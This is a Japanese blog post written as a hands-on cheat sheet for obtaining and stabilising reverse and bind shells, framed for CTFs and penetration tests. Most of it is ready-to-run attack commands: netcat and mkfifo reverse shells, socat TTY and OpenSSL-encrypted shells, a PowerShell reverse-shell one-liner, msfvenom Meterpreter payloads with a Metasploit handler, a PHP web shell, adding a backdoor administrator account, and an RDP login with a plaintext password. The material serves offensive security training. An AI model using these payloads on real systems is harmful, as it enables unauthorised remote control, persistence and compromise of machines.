1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】What the Shell? 逆引き実践メモ(Netcat/Socat/msfvenom/Meterpreter 速習)

Last updated at Posted at 2025-11-04

はじめに

  • Reverse=ターゲット→攻撃側へ接続。Bind=ターゲットが待ち受け、攻撃側→ターゲットへ接続
  • まず nc -lvnp で受け、ターゲットで1行リバース。取れたら安定化(pty/rlwrap/socat TTY)
  • つぎに msfvenom で OS/arch/(staged or stageless)を意識して生成、multi/handler で捕捉
  • Webが弱いなら WebShell→逆シェルに昇格
  • その後は “本物のログイン” を目指す(SSH鍵/資格情報/管理者追加など)

1. Shell 基礎:Reverse vs Bind

種類

種別 接続の向き 長所 短所 典型用途
Reverse ターゲット → 攻撃側 外向きFWを抜けやすい 攻撃側のLHOST/LPORT準備が必要 CTF/現場ほぼこれ
Bind 攻撃側 → ターゲット 攻撃側が楽 ターゲット側のFWに塞がれがち 研究/同一ネット内

設問の要点

  • 「攻撃側のリスナへ“戻ってくる”」=Reverse (R)
  • 多くの簡易逆シェルは 非インタラクティブ(N)
  • Bind のリスナは ターゲット(T) で立てる

Interactivity

  • Interactive: ssh 等の対話が動く
  • Non-interactive: whoami は動くが ssh のような対話系は無言で落ちることも

2. Netcat(nc)基本

リスナ

# 例: 443で待受(特権ポートはsudo)
sudo nc -lvnp 443

-l=listen, -v=verbose, -n=DNS解決無効, -p=ポート指定

Bindシェルに接続

nc <TARGET-IP> <PORT>

3. Netcat シェル安定化テク3

3.1 Python pty

python -c 'import pty; pty.spawn("/bin/bash")'  # or python3 / python2
export TERM=xterm
# Ctrl+Z で自端末に戻る
stty raw -echo; fg

3.2 rlwrap

sudo apt install -y rlwrap
rlwrap nc -lvnp <PORT>
# さらに Ctrl+Z → stty raw -echo; fg で Ctrl+C/矢印/補完が快適

3.3 socat に“乗り換え”

  • まず nc で足場 → 静的ビルド socat をアップロード → 安定TTYへ(後述)。

3.4 端末サイズ調整

# 自端末で
stty -a   # rows/cols を確認
# 逆/バインドシェル内で
stty rows <R>; stty cols <C>

4. Socat 基本と“フルTTY”逆シェル

最小リスナ

socat TCP-L:<PORT> -

Reverse(ターゲット→攻撃側)

  • Linux:
socat TCP:<LHOST>:<LPORT> EXEC:"bash -li"
  • Windows:
socat TCP:<LHOST>:<LPORT> EXEC:powershell.exe,pipes

Bind(ターゲットで待受)

  • Linux:
socat TCP-L:<PORT> EXEC:"bash -li"
  • Windows:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
  • 攻撃側から接続:
socat TCP:<TARGET-IP>:<PORT> -

“超安定”TTYリスナ(Linux向け)

攻撃側(リスナ)

socat TCP-L:<PORT> FILE:`tty`,raw,echo=0

ターゲット(接続)

socat TCP:<LHOST>:<LPORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

ポイント: pty/stderr/sigint/setsid/sane が“本物のTTY”感を作る。


5. Socat 暗号化(OPENSSL)

証明書作成(攻撃側)

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem

例:TTYテク併用リスナ(Port 53, encrypt.pem)

socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0

接続コマンド(LHOST=10.10.10.5)

socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

6. よく使う1行ペイロード

nc に -e がある系(Windows版や nc-traditional など)

# Bind
nc -lvnp <PORT> -e /bin/bash
# Reverse
nc <LHOST> <LPORT> -e /bin/bash

-e が無い nc(mkfifo トリック)

# Bind(ターゲットで待受)
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
# Reverse(ターゲット→攻撃側)
mkfifo /tmp/f; nc <LHOST> <LPORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

PowerShell 逆シェル(標準)

powershell -c "$client=New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);$s=$client.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String)+'PS '+(pwd).Path+'> ';$sb=[Text.Encoding]::ASCII.GetBytes($r);$s.Write($sb,0,$sb.Length);$s.Flush()}$client.Close()"

7. msfvenom 速習

msfvenom -p <OS>/<arch>/<payload> -f <format> -o <file> LHOST=<IP> LPORT=<PORT>

Staged vs Stageless

  • Staged: shell/reverse_tcp/ で区切り)。短い“stager”→本体をDL&実行。multi/handler必須
  • Stageless: shell_reverse_tcp_ で区切り)。1発で即リバース。サイズ大きめ。

Meterpreter

  • 安定・多機能(アップロード/ダウンロード/ポストEx)。Metasploitでしか受けられない
  • 例: Linux x64 Meterpreter(staged, ELF)
msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=10.10.10.5 LPORT=443
  • 例: Windows x64 Meterpreter(staged, EXE)
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=<IP> LPORT=<PORT>

ペイロード探索

msfvenom --list payloads | grep 'linux/x86/meterpreter'

8. Metasploit multi/handler(受け側)

msfconsole
use exploit/multi/handler
set PAYLOAD <payload>
set LHOST <listen-ip>
set LPORT <listen-port>
exploit -j      # バックグラウンドで起動
# 受けたら:
sessions            # 一覧
sessions 10         # 例えば10番を前面化
  • ポート<1024は sudo 必須

9. WebShell

超ミニ PHP WebShell

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
  • ?cmd=whoami のように実行結果が返る。
  • ここから URLエンコードPowerShell逆シェル などで昇格。

代表的な逆シェル(PHP)

  • Kali: /usr/share/webshells/php/php-reverse-shell.php(IP/PORT書き換え)

10. 取れた後:次の一手

  • Linux: ~/.ssh の鍵/認証情報、CTFなら平文PW、/etc/passwd//etc/shadow 書換脆弱など→**SSHで“正規ログイン”**へ。
  • Windows: SYSTEM/管理者権限があればユーザー作成→RDP/WinRM/psexec などへ移行。
net user <name> <pass> /add
net localgroup administrators <name> /add

11. トラブルシュート速攻チェック

  • 逆方向FWで塞がれる→443/80/53 など許容ポートを試す
  • python 不在→python3/python2 切替
  • 端末ぐちゃぐちゃ→Ctrl+Z; stty raw -echo; fg / reset
  • Socat通らない→-d -d で冗長ログ/ 静的バイナリ を転送
  • Windowsの nc -e 不可→Powershell 逆シェル

12. クイック・チートシート

# Reverse: nc listener
sudo nc -lvnp 443

# Stabilize (Linux)
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm;  Ctrl+Z;  stty raw -echo; fg

# Socat TTY listener (Linux)
socat TCP-L:4242 FILE:`tty`,raw,echo=0
# Target connect
socat TCP:<LHOST>:4242 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

# Encrypted Socat
openssl req --newkey rsa:2048 -nodes -keyout k.key -x509 -days 362 -out k.crt
cat k.key k.crt > k.pem
socat OPENSSL-LISTEN:53,cert=k.pem,verify=0 FILE:`tty`,raw,echo=0
socat OPENSSL:<LHOST>:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

# msfvenom examples
msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=<IP> LPORT=443
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=<IP> LPORT=1234

# Metasploit handler
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT 1234
exploit -j

まとめ

  • Reverse で受ける → 安定化(pty/rlwrap/socat TTY)
  • msfvenom は OS/arch/段階化(staged vs stageless)に注意。meterpreter は Metasploitで受ける。
  • WebShell は“足場”。最終目標は 正規アクセス手段(SSH/RDP/WinRM)へ昇格。
  • すべての過程で FW/端末/権限 を意識して最短で“使えるシェル”に仕上げる。

この構成を手元のテンプレにしておけば、CTFでも実案件でも「取る→安定→昇格→常套手段へ移行」の流れが素早く回せます。


追記

引数の意味

  • pty — allocates a pseudoterminal on the target(ターゲット側で擬似端末を割り当て、安定化の中核)
  • stderr — makes sure that any error messages get shown in the shell(非対話シェルで埋もれがちな標準エラー出力を表示)
  • sigint — passes any Ctrl + C commands through into the sub-process(Ctrl+C を子プロセスへ渡し、実行中コマンドだけを停止可能に)
  • setsid — creates the process in a new session(新しいセッションで起動し端末制御を安定化)
  • sane — stabilises the terminal, attempting to "normalise" it(端末状態を“正常化”して表示や入力の乱れを抑制)

接続コマンド(再掲)
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

xfreerdp

xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.201.122.237 /u:Administrator /p:'1232dfdf!'
python3 -m http.server 9000
wget http://10.201.55.57:9000/shell.exe

dirtycow.ninja

PayloadsAllTheThings

PentestMonkey php-reverse-shell


1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?